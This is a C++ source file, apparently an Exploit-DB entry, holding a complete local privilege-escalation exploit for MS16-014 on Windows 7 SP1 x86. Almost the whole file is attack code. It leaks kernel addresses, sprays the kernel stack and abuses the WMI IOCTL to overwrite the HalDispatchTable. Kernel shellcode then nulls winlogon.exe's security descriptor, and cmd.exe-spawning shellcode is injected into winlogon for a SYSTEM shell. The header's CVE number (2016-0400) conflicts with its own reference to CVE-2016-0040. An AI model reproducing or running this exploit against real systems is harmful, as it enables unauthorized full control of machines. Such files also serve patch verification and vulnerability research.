388 lines
No EOL
10 KiB
C++
388 lines
No EOL
10 KiB
C++
/*
|
||
# Exploit Title: Elevation of privilege on Windows 7 SP1 x86
|
||
# Date: 28/06-2016
|
||
# Exploit Author: @blomster81
|
||
# Vendor Homepage: www.microsoft.com
|
||
# Version: Windows 7 SP1 x86
|
||
# Tested on: Windows 7 SP1 x86
|
||
# CVE : 2016-0400
|
||
|
||
MS16-014 EoP PoC created from
|
||
https://github.com/Rootkitsmm/cve-2016-0040/blob/master/poc.cc
|
||
Spawns CMD.exe with SYSTEM rights.
|
||
Overwrites HaliSystemQueryInformation, but does not replace it, so BSOD will occur at some point
|
||
|
||
********* EDB Note *********
|
||
|
||
ntos.h is available here: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40039.zip
|
||
|
||
***************************
|
||
|
||
*/
|
||
|
||
#include "stdafx.h"
|
||
#include <Windows.h>
|
||
#include <winioctl.h>
|
||
#include "ntos.h"
|
||
#include <TlHelp32.h>
|
||
|
||
|
||
typedef union {
|
||
HANDLE Handle;
|
||
ULONG64 Handle64;
|
||
ULONG32 Handle32;
|
||
}
|
||
HANDLE3264, *PHANDLE3264;
|
||
|
||
typedef struct {
|
||
ULONG HandleCount;
|
||
ULONG Action;
|
||
HANDLE /* PUSER_THREAD_START_ROUTINE */ UserModeCallback;
|
||
HANDLE3264 UserModeProcess;
|
||
HANDLE3264 Handles[20];
|
||
}
|
||
WMIRECEIVENOTIFICATION, *PWMIRECEIVENOTIFICATION;
|
||
|
||
#define RECEIVE_ACTION_CREATE_THREAD 2 // Mark guid objects as requiring
|
||
|
||
typedef struct {
|
||
IN VOID * ObjectAttributes;
|
||
IN ACCESS_MASK DesiredAccess;
|
||
|
||
OUT HANDLE3264 Handle;
|
||
}
|
||
WMIOPENGUIDBLOCK, *PWMIOPENGUIDBLOCK;
|
||
|
||
typedef enum _KPROFILE_SOURCE {
|
||
ProfileTime,
|
||
ProfileAlignmentFixup,
|
||
ProfileTotalIssues,
|
||
ProfilePipelineDry,
|
||
ProfileLoadInstructions,
|
||
ProfilePipelineFrozen,
|
||
ProfileBranchInstructions,
|
||
ProfileTotalNonissues,
|
||
ProfileDcacheMisses,
|
||
ProfileIcacheMisses,
|
||
ProfileCacheMisses,
|
||
ProfileBranchMispredictions,
|
||
ProfileStoreInstructions,
|
||
ProfileFpInstructions,
|
||
ProfileIntegerInstructions,
|
||
Profile2Issue,
|
||
Profile3Issue,
|
||
Profile4Issue,
|
||
ProfileSpecialInstructions,
|
||
ProfileTotalCycles,
|
||
ProfileIcacheIssues,
|
||
ProfileDcacheAccesses,
|
||
ProfileMemoryBarrierCycles,
|
||
ProfileLoadLinkedIssues,
|
||
ProfileMaximum
|
||
|
||
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
|
||
|
||
typedef struct _DESKTOPINFO
|
||
{
|
||
/* 000 */ PVOID pvDesktopBase;
|
||
/* 008 */ PVOID pvDesktopLimit;
|
||
|
||
} DESKTOPINFO, *PDESKTOPINFO;
|
||
|
||
|
||
typedef struct _CLIENTINFO
|
||
{
|
||
/* 000 */ DWORD CI_flags;
|
||
/* 004 */ DWORD cSpins;
|
||
/* 008 */ DWORD dwExpWinVer;
|
||
/* 00c */ DWORD dwCompatFlags;
|
||
/* 010 */ DWORD dwCompatFlags2;
|
||
/* 014 */ DWORD dwTIFlags;
|
||
/* 018 */ DWORD filler1;
|
||
/* 01c */ DWORD filler2;
|
||
/* 020 */ PDESKTOPINFO pDeskInfo;
|
||
/* 028 */ ULONG_PTR ulClientDelta;
|
||
|
||
} CLIENTINFO, *PCLIENTINFO;
|
||
|
||
typedef struct _HANDLEENTRY {
|
||
PVOID phead;
|
||
ULONG_PTR pOwner;
|
||
BYTE bType;
|
||
BYTE bFlags;
|
||
WORD wUniq;
|
||
}HANDLEENTRY, *PHANDLEENTRY;
|
||
|
||
typedef struct _SERVERINFO {
|
||
DWORD dwSRVIFlags;
|
||
DWORD64 cHandleEntries;
|
||
WORD wSRVIFlags;
|
||
WORD wRIPPID;
|
||
WORD wRIPError;
|
||
}SERVERINFO, *PSERVERINFO;
|
||
|
||
typedef struct _SHAREDINFO {
|
||
PSERVERINFO psi;
|
||
PHANDLEENTRY aheList;
|
||
ULONG HeEntrySize;
|
||
ULONG_PTR pDispInfo;
|
||
ULONG_PTR ulSharedDelta;
|
||
ULONG_PTR awmControl;
|
||
ULONG_PTR DefWindowMsgs;
|
||
ULONG_PTR DefWindowSpecMsgs;
|
||
}SHAREDINFO, *PSHAREDINFO;
|
||
|
||
#define IOCTL_WMI_RECEIVE_NOTIFICATIONS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x51, METHOD_BUFFERED, FILE_WRITE_ACCESS)
|
||
|
||
typedef ULONG(__stdcall *g_ZwMapUserPhysicalPages)(PVOID, ULONG, PULONG);
|
||
typedef NTSTATUS(_stdcall *_NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
|
||
typedef NTSTATUS(_stdcall *_NtQueryIntervalProfile)(KPROFILE_SOURCE ProfilSource, PULONG Interval);
|
||
|
||
DWORD g_HalDispatchTable = 0;
|
||
void* kHandle;
|
||
HWND g_window = NULL;
|
||
const WCHAR g_windowClassName[] = L"Victim_Window";
|
||
WNDCLASSEX wc;
|
||
PSHAREDINFO g_pSharedInfo;
|
||
PSERVERINFO g_pServerInfo;
|
||
HANDLEENTRY* g_UserHandleTable;
|
||
|
||
LRESULT CALLBACK WProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return DefWindowProc(hwnd, uMsg, wParam, lParam);
|
||
}
|
||
|
||
DWORD getProcessId(wchar_t* str)
|
||
{
|
||
HANDLE hProcessSnap;
|
||
PROCESSENTRY32 pe32;
|
||
DWORD PID;
|
||
|
||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||
if (hProcessSnap == INVALID_HANDLE_VALUE)
|
||
{
|
||
return 0;
|
||
}
|
||
|
||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||
if (!Process32First(hProcessSnap, &pe32))
|
||
{
|
||
CloseHandle(hProcessSnap);
|
||
return 0;
|
||
}
|
||
|
||
do
|
||
{
|
||
if (!wcscmp(pe32.szExeFile, str))
|
||
{
|
||
wprintf(L"Process: %s found\n", pe32.szExeFile);
|
||
PID = pe32.th32ProcessID;
|
||
return PID;
|
||
}
|
||
} while (Process32Next(hProcessSnap, &pe32));
|
||
return 0;
|
||
}
|
||
|
||
void Launch()
|
||
{
|
||
void* pMem;
|
||
char shellcode[] =
|
||
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
|
||
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
|
||
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
|
||
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
|
||
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
|
||
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
|
||
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
|
||
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
|
||
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
|
||
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
|
||
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a"
|
||
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
|
||
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x6d\x64\x2e"
|
||
"\x65\x78\x65\x00";
|
||
|
||
wchar_t* str = L"winlogon.exe";
|
||
DWORD PID = getProcessId(str);
|
||
HANDLE hEx = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
|
||
pMem = VirtualAllocEx(hEx, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||
DWORD res = WriteProcessMemory(hEx, pMem, shellcode, sizeof(shellcode), 0);
|
||
HANDLE res2 = CreateRemoteThread(hEx, NULL, 0, (LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL);
|
||
}
|
||
|
||
BOOL leakHal()
|
||
{
|
||
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQuerySystemInformation");
|
||
PRTL_PROCESS_MODULES pModuleInfo;
|
||
DWORD ntoskrnlBase;
|
||
DWORD HalDTUser, HalDTOffset;
|
||
HMODULE userKernel;
|
||
|
||
pModuleInfo = (PRTL_PROCESS_MODULES)VirtualAlloc(NULL, 0x100000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||
if (pModuleInfo == NULL)
|
||
{
|
||
printf("Could not allocate memory\n");
|
||
return FALSE;
|
||
}
|
||
NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, 0x100000, NULL);
|
||
ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase;
|
||
userKernel = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
|
||
if (userKernel == NULL)
|
||
{
|
||
printf("Could not load ntoskrnl.exe\n");
|
||
return FALSE;
|
||
}
|
||
|
||
HalDTUser = (DWORD)GetProcAddress(userKernel, "HalDispatchTable");
|
||
HalDTOffset = HalDTUser - (DWORD)userKernel;
|
||
g_HalDispatchTable = ntoskrnlBase + HalDTOffset + 0x9000;
|
||
return TRUE;
|
||
}
|
||
|
||
BOOL setup()
|
||
{
|
||
LoadLibraryA("user32.dll");
|
||
|
||
wc.cbSize = sizeof(WNDCLASSEX);
|
||
wc.style = 0;
|
||
wc.lpfnWndProc = WProc;
|
||
wc.cbClsExtra = 0;
|
||
wc.cbWndExtra = 0;
|
||
wc.hInstance = NULL;
|
||
wc.hCursor = NULL;
|
||
wc.hIcon = NULL;
|
||
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
|
||
wc.lpszMenuName = NULL;
|
||
wc.lpszClassName = g_windowClassName;
|
||
wc.hIconSm = NULL;
|
||
|
||
if (!RegisterClassEx(&wc))
|
||
{
|
||
printf("Failed to register window: %d\n", GetLastError());
|
||
return FALSE;
|
||
}
|
||
g_window = CreateWindowEx(WS_EX_CLIENTEDGE, g_windowClassName, L"Victim_Window", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
|
||
if (g_window == NULL)
|
||
{
|
||
printf("Failed to create window: %d\n", GetLastError());
|
||
return FALSE;
|
||
}
|
||
|
||
g_pSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32.dll"), "gSharedInfo");
|
||
g_UserHandleTable = g_pSharedInfo->aheList;
|
||
g_pServerInfo = g_pSharedInfo->psi;
|
||
|
||
return TRUE;
|
||
}
|
||
|
||
DWORD leakWndAddr(HWND hwnd)
|
||
{
|
||
DWORD addr = 0;
|
||
HWND kernelHandle = NULL;
|
||
|
||
for (int i = 0; i < g_pServerInfo->cHandleEntries; i++)
|
||
{
|
||
kernelHandle = (HWND)(i | (g_UserHandleTable[i].wUniq << 0x10));
|
||
if (kernelHandle == hwnd)
|
||
{
|
||
addr = (DWORD)g_UserHandleTable[i].phead;
|
||
break;
|
||
}
|
||
}
|
||
return addr;
|
||
}
|
||
|
||
VOID SprayKernelStack() {
|
||
g_ZwMapUserPhysicalPages ZwMapUserPhysicalPages = (g_ZwMapUserPhysicalPages)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "ZwMapUserPhysicalPages");
|
||
if (ZwMapUserPhysicalPages == NULL)
|
||
{
|
||
printf("Could not get ZwMapUserPhysicalPages\n");
|
||
return;
|
||
}
|
||
BYTE buffer[4096];
|
||
DWORD value = g_HalDispatchTable - 0x3C + 0x4;
|
||
for (int i = 0; i < sizeof(buffer) / 4; i++)
|
||
{
|
||
memcpy(buffer + i * 4, &value, sizeof(DWORD));
|
||
}
|
||
printf("Where is at: 0x%x\n", buffer);
|
||
ZwMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
|
||
}
|
||
|
||
__declspec(noinline) int Shellcode()
|
||
{
|
||
__asm {
|
||
mov eax, kHandle // WND - Which window? Check this
|
||
mov eax, [eax + 8] // THREADINFO
|
||
mov eax, [eax] // ETHREAD
|
||
mov eax, [eax + 0x150] // KPROCESS
|
||
mov eax, [eax + 0xb8] // flink
|
||
procloop:
|
||
lea edx, [eax - 0xb8] // KPROCESS
|
||
mov eax, [eax]
|
||
add edx, 0x16c // module name
|
||
cmp dword ptr[edx], 0x6c6e6977 // <20>winl<6E> for winlogon.exe
|
||
jne procloop
|
||
sub edx, 0x170
|
||
mov dword ptr[edx], 0x0 // NULL ACL
|
||
ret
|
||
}
|
||
}
|
||
|
||
int main() {
|
||
DWORD dwBytesReturned;
|
||
HANDLE threadhandle;
|
||
WMIRECEIVENOTIFICATION buffer;
|
||
CHAR OutPut[1000];
|
||
|
||
if (!setup())
|
||
{
|
||
printf("Could not setup window\n");
|
||
return 0;
|
||
}
|
||
|
||
|
||
PVOID userSC = VirtualAlloc((VOID*)0x2a000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||
kHandle = (void*)leakWndAddr(g_window);
|
||
memset(userSC, 0x41, 0x1000);
|
||
memcpy(userSC, Shellcode, 0x40);
|
||
|
||
|
||
if (!leakHal())
|
||
{
|
||
printf("Could not leak Hal\n");
|
||
return 0;
|
||
}
|
||
printf("HalDispatchTable is at: 0x%x\n", g_HalDispatchTable);
|
||
|
||
DWORD value = (DWORD)userSC;
|
||
PBYTE buff = (PBYTE)&buffer;
|
||
for (int i = 0; i < sizeof(buffer) / 4; i++)
|
||
{
|
||
memcpy(buff + i * 4, &value, sizeof(DWORD));
|
||
}
|
||
printf("What is at: 0x%x\n", buff);
|
||
|
||
buffer.HandleCount = 0;
|
||
buffer.Action = RECEIVE_ACTION_CREATE_THREAD;
|
||
buffer.UserModeProcess.Handle = GetCurrentProcess();
|
||
|
||
HANDLE hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||
if (hDriver != INVALID_HANDLE_VALUE) {
|
||
SprayKernelStack();
|
||
|
||
if (!DeviceIoControl(hDriver, IOCTL_WMI_RECEIVE_NOTIFICATIONS, &buffer, sizeof(buffer), &OutPut, sizeof(OutPut), &dwBytesReturned, NULL)) {
|
||
return 1;
|
||
}
|
||
|
||
}
|
||
_NtQueryIntervalProfile NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQueryIntervalProfile");
|
||
ULONG result;
|
||
KPROFILE_SOURCE stProfile = ProfileTotalIssues;
|
||
NtQueryIntervalProfile(stProfile, &result);
|
||
printf("SYSTEM shell comming\n");
|
||
Launch();
|
||
printf("All done, exiting\n");
|
||
|
||
return 0;
|
||
} |